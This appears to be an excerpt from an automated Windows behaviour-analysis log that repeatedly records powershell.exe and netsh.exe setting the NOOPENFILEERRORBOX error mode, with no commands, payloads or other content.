Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
